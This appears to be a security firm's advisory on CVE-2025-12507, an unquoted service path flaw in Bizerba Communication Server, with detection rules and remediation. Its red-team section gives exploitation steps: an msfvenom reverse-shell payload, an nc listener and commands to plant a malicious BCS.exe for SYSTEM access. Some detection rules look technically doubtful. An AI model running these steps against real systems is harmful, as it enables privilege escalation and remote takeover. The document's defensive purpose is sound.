CVE-2025-12507

Executive Summary

CVE-2025-12507 is a high-severity vulnerability (CVSS 8.8) affecting the Bizerba Communication Server (BCS) service. The issue stems from an unquoted service path, a classic Windows privilege escalation vector. When the BCS service is installed with a path containing spaces and not enclosed in quotes, Windows will search for the executable in a predictable order, allowing an attacker with local access to place a malicious executable in a directory that will be executed before the legitimate service binary. This can lead to privilege escalation from a low-privileged user to SYSTEM, enabling full compromise of the host.

The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using Bizerba systems in retail or industrial environments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a low-privileged account.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact (C): High (H) – Full system compromise.
• Integrity Impact (I): High (H) – Attacker can modify system files.
• Availability Impact (A): High (H) – Attacker can disrupt service.

Threat Level: High. While local access is required, the low complexity and high impact make this a critical finding for any environment with Bizerba systems.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path (CWE-428). When a Windows service is configured with a binary path that contains spaces and is not enclosed in double quotes, the Service Control Manager (SCM) will attempt to locate the executable by parsing the path from left to right, inserting spaces as separators. For example, if the service path is:

C:\Program Files\Bizerba\BCS Service\bcs.exe

Without quotes, Windows will search in the following order:

1. C:\Program.exe
2. C:\Program Files\Bizerba.exe
3. C:\Program Files\Bizerba\BCS.exe
4. C:\Program Files\Bizerba\BCS Service\bcs.exe

An attacker with write access to any of the earlier directories (e.g., C:\Program Files\Bizerba\) can place a malicious executable named BCS.exe (or Bizerba.exe, etc.) that will be executed with SYSTEM privileges when the service starts.

The Bizerba Communication Server (BCS) is used in retail and industrial environments for managing scales, printers, and other peripherals. The service typically runs with high privileges to communicate with hardware.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable configuration is the unquoted service path. The fix would involve quoting the service binary path in the Windows registry or service configuration.

Vulnerable (Unquoted Path):

ImagePath: C:\Program Files\Bizerba\BCS Service\bcs.exe

Patched (Quoted Path):

ImagePath: "C:\Program Files\Bizerba\BCS Service\bcs.exe"

The patched version ensures Windows interprets the entire string as a single path, preventing the search order attack.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system running Bizerba Communication Server.
• Write access to a directory in the unquoted service path (e.g., C:\Program Files\Bizerba\).
• Ability to restart the service or wait for a system reboot.

Exploitation Steps:

1. Identify the vulnerable service:

   Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
   

2. Check write permissions:

   icacls "C:\Program Files\Bizerba\"
   

3. Create a malicious executable (e.g., using msfvenom or a simple reverse shell):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o BCS.exe
   

4. Place the malicious executable in the writable directory:

   copy BCS.exe "C:\Program Files\Bizerba\BCS.exe"
   

5. Trigger the service start (requires restart or reboot):

   Stop-Service BCS
   Start-Service BCS
   

6. Catch the reverse shell on your listener:

   nc -lvnp 4444
   

Blue Team

Detection:

• Monitor for new executable files created in C:\Program Files\Bizerba\ or similar paths.
• Alert on service start/stop events (Event ID 7036) followed by unexpected process creation.
• Use Sysmon to log process creation (Event ID 1) and look for BCS.exe or Bizerba.exe running from unexpected locations.

Prevention:

• Apply the principle of least privilege to service directories.
• Use Group Policy to enforce quoted service paths.
• Deploy application whitelisting (e.g., AppLocker) to block unauthorized executables.

Indicators of Compromise (IOCs)

• File: C:\Program Files\Bizerba\BCS.exe (malicious)
• File: C:\Program Files\Bizerba\Bizerba.exe (malicious)
• Process: BCS.exe running from C:\Program Files\Bizerba\
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\BCS\ImagePath with unquoted path
• Event ID 7036: Service start/stop events for BCS service
• Event ID 1 (Sysmon): Process creation with command line containing unquoted path

Detection Engineering

YARA Rule

rule Unquoted_Service_Path_BCS {
    meta:
        description = "Detects unquoted service path for Bizerba Communication Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12507"
    strings:
        $s1 = "Bizerba Communication Server" nocase
        $s2 = "BCS" nocase
        $s3 = "C:\\Program Files\\Bizerba" nocase
    condition:
        all of them
}

Sigma Rule

title: Unquoted Service Path - Bizerba Communication Server
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unquoted service path for BCS service
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12507
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7036
        ServiceName: 'BCS'
    condition: selection
falsepositives:
    - Legitimate service configuration
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12507 Bizerba BCS Unquoted Service Path Exploit"; flow:to_server,established; content:"BCS"; nocase; content:"C:\\Program Files\\Bizerba"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Manually quote the service binary path in the registry:

   Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\BCS" -Name ImagePath -Value '"C:\Program Files\Bizerba\BCS Service\bcs.exe"'
   

2. Restart the service:

   Restart-Service BCS
   

3. Verify the fix:

   Get-CimInstance -ClassName Win32_Service -Filter "Name='BCS'" | Select-Object PathName
   

4. Long-term: Contact Bizerba for an official patch. Monitor vendor advisories.

5. Compensating Controls:

   • Restrict write permissions to C:\Program Files\Bizerba\ to only Administrators.
   • Enable Windows Defender Exploit Guard.
   • Deploy endpoint detection and response (EDR) solutions.

Valters IT
Securing Digital Frontiers